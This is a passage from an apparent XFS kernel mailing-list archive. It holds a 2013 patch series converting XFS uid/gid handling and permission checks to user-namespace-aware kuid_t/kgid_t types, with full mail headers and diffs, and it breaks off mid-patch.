[141.146.126.69]) by cuda.sgi.com with ESMTP id DlWzxEjaocn7Rp9I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:12 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnB4k006545 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:11 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFn9pZ012490 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:11 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFn9ZL012480 for ; Thu, 25 Jul 2013 15:49:09 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:08 -0700 Date: Thu, 25 Jul 2013 11:49:21 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130725114921.0d860cc4@oracle.com> X-ASG-Orig-Subj: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374767352 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 800f896..761e4c0 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -159,6 +159,32 @@ #define MAX(a,b) (max(a,b)) #define howmany(x, y) (((x)+((y)-1))/(y)) +/* Kernel uid/gid conversion. These are used to convert to/from the on disk + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. + * The conversion here is type only, the value will remain the same since we + * are converting to the init_user_ns. The uid is later mapped to a particular + * user namespace value when crossing the kernel/user boundary. + */ +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) +{ + return from_kuid(&init_user_ns, uid); +} + +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) +{ + return make_kuid(&init_user_ns, uid); +} + +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) +{ + return from_kgid(&init_user_ns, gid); +} + +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) +{ + return make_kgid(&init_user_ns, gid); +} + /* * Various platform dependent calls that don't fit anywhere else */ -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 648127F50 for ; Thu, 25 Jul 2013 10:49:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6592AC003 for ; Thu, 25 Jul 2013 08:49:11 -0700 (PDT) X-ASG-Debug-ID: 1374767350-04cb6c153d610d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 6TFHBJaiTFY2AqZd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:10 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFn5QM014392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 25 Jul 2013 15:49:05 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFn483004977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Jul 2013 15:49:04 GMT Received: from abhmt114.oracle.com (abhmt114.oracle.com [141.146.116.66]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFn3nU018406; Thu, 25 Jul 2013 15:49:03 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:03 -0700 Date: Thu, 25 Jul 2013 11:49:15 -0400 From: Dwight Engen To: xfs@oss.sgi.com, Dave Chinner , Brian Foster Cc: Serge Hallyn , "Eric W. Biederman" Subject: [PATCH v6 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Message-ID: <20130725114915.6cda13c6@oracle.com> X-ASG-Orig-Subj: [PATCH v6 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374767350 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi All, This updated patchset is on top of ad81f054 of xfs git (3.11-rc1). The patches do not convert the id's returned from bulkstat, since bulkstat cannot be called from inside a userns right now anyway since the caller must be CAP_SYS_ADMIN in init_user_ns. Changes since v5 patchset (addressing Brian's comments, only 0005 and 0006 are changed): - 0005 put all eofblocks validation in xfs_fs_eofblocks_from_user() - 0006 don't export internal flag, add K to internal flag name, start internal flags bits at msb (with the intention that other internal flags would be in descending order) and ensure that it doesn't accidentally collide with external flags Changes since v4 patchset (addressing Dave's comments): - add parenthesis in if with binary and logical and (EOFBLOCKS flags) - rename xfs_fs_eofblocks_to_internal -> xfs_fs_eofblocks_from_user and move conversion validation into it - fix negative error returns from XFS_IOC_FREE_EOFBLOCKS - add check for read-only filesystem to XFS_IOC_FREE_EOFBLOCKS Changes since v3 patchset: - export inode_capable() for building xfs as a module - implement Brian's proposal for an internal flag to indicate to xfs_inode_free_eofblocks() that it should do a permission check. ioctl callers will always set this flag, which is simpler than making them specify XFS_EOF_FLAGS_UID or XFS_EOF_FLAGS_GID, internal callers can leave it unset so no permission checking is done - take Brian's suggestion on moving the policy from the conversion function into the ioctl code, and moving stuff to xfs_icache.h From dwight.engen@oracle.com Thu Jul 25 10:49:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9DA057F50 for ; Thu, 25 Jul 2013 10:49:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 709F48F8037 for ; Thu, 25 Jul 2013 08:49:17 -0700 (PDT) X-ASG-Debug-ID: 1374767355-04bdf02f226bc10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 3bSZCGD3K1Gw7V24 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:16 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnFiB006577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:15 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnEUY016629 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:14 GMT Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnELh012680 for ; Thu, 25 Jul 2013 15:49:14 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:13 -0700 Date: Thu, 25 Jul 2013 11:49:26 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 2/7] xfs: convert kuid_t to/from uid_t in ACLs Message-ID: <20130725114926.25a8a7df@oracle.com> X-ASG-Orig-Subj: [PATCH v6 2/7] xfs: convert kuid_t to/from uid_t in ACLs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374767356 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Change permission check for setting ACL to use inode_owner_or_capable() which will additionally allow a CAP_FOWNER user in a user namespace to be able to set an ACL on an inode covered by the user namespace mapping. Signed-off-by: Dwight Engen --- fs/xfs/xfs_acl.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 306d883..32e4972 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -68,14 +68,15 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: + acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + break; case ACL_GROUP: - acl_e->e_id = be32_to_cpu(ace->ae_id); + acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: case ACL_MASK: case ACL_OTHER: - acl_e->e_id = ACL_UNDEFINED_ID; break; default: goto fail; @@ -101,7 +102,18 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) acl_e = &acl->a_entries[i]; ace->ae_tag = cpu_to_be32(acl_e->e_tag); - ace->ae_id = cpu_to_be32(acl_e->e_id); + switch (acl_e->e_tag) { + case ACL_USER: + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + break; + case ACL_GROUP: + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + break; + default: + ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); + break; + } + ace->ae_perm = cpu_to_be16(acl_e->e_perm); } } @@ -360,7 +372,7 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, return -EINVAL; if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) return value ? -EACCES : 0; - if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) + if (!inode_owner_or_capable(inode)) return -EPERM; if (!value) -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C3547F5A for ; Thu, 25 Jul 2013 10:49:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 28ABEAC002 for ; Thu, 25 Jul 2013 08:49:23 -0700 (PDT) X-ASG-Debug-ID: 1374767361-04cbb02c3e67b30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id FPXvn78dta9yCzua (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:22 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnKYI014555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:21 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnJe3016898 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:20 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnJqf019349 for ; Thu, 25 Jul 2013 15:49:19 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:18 -0700 Date: Thu, 25 Jul 2013 11:49:31 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 3/7] xfs: ioctl check for capabilities in the current user namespace Message-ID: <20130725114931.34944c5b@oracle.com> X-ASG-Orig-Subj: [PATCH v6 3/7] xfs: ioctl check for capabilities in the current user namespace Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374767361 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use inode_capable() to check if SUID|SGID bits should be cleared to match similar check in inode_change_ok(). The check for CAP_LINUX_IMMUTABLE was not modified since all other file systems also check against init_user_ns rather than current_user_ns. Signed-off-by: Dwight Engen --- fs/xfs/xfs_ioctl.c | 4 ++-- kernel/capability.c | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e2bca5..8edc780 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -981,7 +981,7 @@ xfs_ioctl_setattr( * to the file owner ID, except in cases where the * CAP_FSETID capability is applicable. */ - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { + if (!inode_owner_or_capable(VFS_I(ip))) { code = XFS_ERROR(EPERM); goto error_return; } @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( * cleared upon successful return from chown() */ if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && - !capable(CAP_FSETID)) + !inode_capable(VFS_I(ip), CAP_FSETID)) ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); /* diff --git a/kernel/capability.c b/kernel/capability.c index f6c2ce5..a4b6744 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } +EXPORT_SYMBOL(inode_capable); -- 1.8.1.4 From dwight.engen@oracle.com Thu Jul 25 10:49:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23E747F60 for ; Thu, 25 Jul 2013 10:49:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C2ADEAC004 for ; Thu, 25 Jul 2013 08:49:27 -0700 (PDT) X-ASG-Debug-ID: 1374767366-04bdf02f226bc40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id vjBiimk1O07ZRgtv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 08:49:26 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6PFnPnJ014638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 25 Jul 2013 15:49:26 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnNEu013006 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Jul 2013 15:49:25 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6PFnNsD017051 for ; Thu, 25 Jul 2013 15:49:23 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 25 Jul 2013 08:49:23 -0700 Date: Thu, 25 Jul 2013 11:49:35 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v6 4/7] xfs: convert kuid_t to/from uid_t for internal structures Message-ID: <20130725114935.5ba43edd@oracle.com> X-ASG-Orig-Subj: [PATCH v6 4/7] xfs: convert kuid_t to/from uid_t for internal structures Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374767366 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use uint32 from init_user_ns for xfs internal uid/gid representation in xfs_icdinode, xfs_dqid_t. Signed-off-by: Dwight Engen --- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_iops.c | 38 ++++++++++++++++++++------------------ fs/xfs/xfs_qm.c | 10 +++++----- fs/xfs/xfs_quota.h | 11 ++++++----- fs/xfs/xfs_symlink.c | 7 +++++-- fs/xfs/xfs_vnodeops.c | 8 +++++--- 6 files changed, 44 insertions(+), 36 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index bb262c2..3e45ff1 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1295,8 +1295,8 @@ xfs_ialloc( ip->i_d.di_onlink = 0; ip->i_d.di_nlink = nlink; ASSERT(ip->i_d.di_nlink == nlink); - ip->i_d.di_uid = current_fsuid(); - ip->i_d.di_gid = current_fsgid(); + ip->i_d.di_uid = xfs_kuid_to_uid(current_fsuid()); + ip->i_d.di_gid = xfs_kgid_to_gid(current_fsgid()); xfs_set_projid(ip, prid); memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); @@ -1335,7 +1335,7 @@ xfs_ialloc( */ if ((irix_sgid_inherit) && (ip->i_d.di_mode & S_ISGID) && - (!in_group_p((gid_t)ip->i_d.di_gid))) { + (!in_group_p(xfs_gid_to_kgid(ip->i_d.di_gid)))) { ip->i_d.di_mode &= ~S_ISGID; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..10e0152 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -420,8 +420,8 @@ xfs_vn_getattr( stat->dev = inode->i_sb->s_dev; stat->mode = ip->i_d.di_mode; stat->nlink = ip->i_d.di_nlink; - stat->uid = ip->i_d.di_uid; - stat->gid = ip->i_d.di_gid; + stat->uid = inode->i_uid; + stat->gid = inode->i_gid; stat->ino = ip->i_ino; stat->atime = inode->i_atime; stat->mtime = inode->i_mtime; @@ -485,8 +485,8 @@ xfs_setattr_nonsize( int mask = iattr->ia_valid; xfs_trans_t *tp; int error; - uid_t uid = 0, iuid = 0; - gid_t gid = 0, igid = 0; + kuid_t uid = GLOBAL_ROOT_UID, iuid = GLOBAL_ROOT_UID; + kgid_t gid = GLOBAL_ROOT_GID, igid = GLOBAL_ROOT_GID; struct xfs_dquot *udqp = NULL, *gdqp = NULL; struct xfs_dquot *olddquot1 = NULL, *olddquot2 = NULL; @@ -522,13 +522,13 @@ xfs_setattr_nonsize( uid = iattr->ia_uid; qflags |= XFS_QMOPT_UQUOTA; } else { - uid = ip->i_d.di_uid; + uid = inode->i_uid; } if ((mask & ATTR_GID) && XFS_IS_GQUOTA_ON(mp)) { gid = iattr->ia_gid; qflags |= XFS_QMOPT_GQUOTA; } else { - gid = ip->i_d.di_gid; + gid = inode->i_gid; } /* @@ -538,8 +538,10 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, uid, gid, xfs_get_projid(ip), - qflags, &udqp, &gdqp, NULL); + error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), + xfs_kgid_to_gid(gid), + xfs_get_projid(ip), + qflags, &udqp, &gdqp, NULL); if (error) return error; } @@ -561,8 +563,8 @@ xfs_setattr_nonsize( * while we didn't have the inode locked, inode's dquot(s) * would have changed also. */ - iuid = ip->i_d.di_uid; - igid = ip->i_d.di_gid; + iuid = inode->i_uid; + igid = inode->i_gid; gid = (mask & ATTR_GID) ? iattr->ia_gid : igid; uid = (mask & ATTR_UID) ? iattr->ia_uid : iuid; @@ -571,8 +573,8 @@ xfs_setattr_nonsize( * going to change. */ if (XFS_IS_QUOTA_RUNNING(mp) && - ((XFS_IS_UQUOTA_ON(mp) && iuid != uid) || - (XFS_IS_GQUOTA_ON(mp) && igid != gid))) { + ((XFS_IS_UQUOTA_ON(mp) && !uid_eq(iuid, uid)) || + (XFS_IS_GQUOTA_ON(mp) && !gid_eq(igid, gid)))) { ASSERT(tp); error = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, NULL, capable(CAP_FOWNER) ? @@ -602,17 +604,17 @@ xfs_setattr_nonsize( * Change the ownerships and register quota modifications * in the transaction. */ - if (iuid != uid) { + if (!uid_eq(iuid, uid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_UQUOTA_ON(mp)) { ASSERT(mask & ATTR_UID); ASSERT(udqp); olddquot1 = xfs_qm_vop_chown(tp, ip, &ip->i_udquot, udqp); } - ip->i_d.di_uid = uid; + ip->i_d.di_uid = xfs_kuid_to_uid(uid); inode->i_uid = uid; } - if (igid != gid) { + if (!gid_eq(igid, gid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_GQUOTA_ON(mp)) { ASSERT(!XFS_IS_PQUOTA_ON(mp)); ASSERT(mask & ATTR_GID); @@ -620,7 +622,7 @@ xfs_setattr_nonsize( olddquot2 = xfs_qm_vop_chown(tp, ip, &ip->i_gdquot, gdqp); } - ip->i_d.di_gid = gid; + ip->i_d.di_gid = xfs_kgid_to_gid(gid); inode->i_gid = gid; } } @@ -1173,8 +1175,8 @@ xfs_setup_inode( inode->i_mode = ip->i_d.di_mode; set_nlink(inode, ip->i_d.di_nlink); - inode->i_uid = ip->i_d.di_uid; - inode->i_gid = ip->i_d.di_gid; + inode->i_uid = xfs_uid_to_kuid(ip->i_d.di_uid); + inode->i_gid = xfs_gid_to_kgid(ip->i_d.di_gid); switch (inode->i_mode & S_IFMT) { case S_IFBLK: diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 1e2361d..900918e 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -1770,8 +1770,8 @@ xfs_qm_write_sb_changes( int xfs_qm_vop_dqalloc( struct xfs_inode *ip, - uid_t uid, - gid_t gid, + xfs_dqid_t uid, + xfs_dqid_t gid, prid_t prid, uint flags, struct xfs_dquot **O_udqpp, @@ -1818,7 +1818,7 @@ xfs_qm_vop_dqalloc( * holding ilock. */ xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t) uid, + error = xfs_qm_dqget(mp, NULL, uid, XFS_DQ_USER, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1845,7 +1845,7 @@ xfs_qm_vop_dqalloc( if ((flags & XFS_QMOPT_GQUOTA) && XFS_IS_GQUOTA_ON(mp)) { if (ip->i_d.di_gid != gid) { xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)gid, + error = xfs_qm_dqget(mp, NULL, gid, XFS_DQ_GROUP, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1979,7 +1979,7 @@ xfs_qm_vop_chown_reserve( XFS_QMOPT_RES_RTBLKS : XFS_QMOPT_RES_REGBLKS; if (XFS_IS_UQUOTA_ON(mp) && udqp && - ip->i_d.di_uid != (uid_t)be32_to_cpu(udqp->q_core.d_id)) { + ip->i_d.di_uid != be32_to_cpu(udqp->q_core.d_id)) { udq_delblks = udqp; /* * If there are delayed allocation blocks, then we have to diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index b14f42c..39720ef 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -340,8 +340,9 @@ extern int 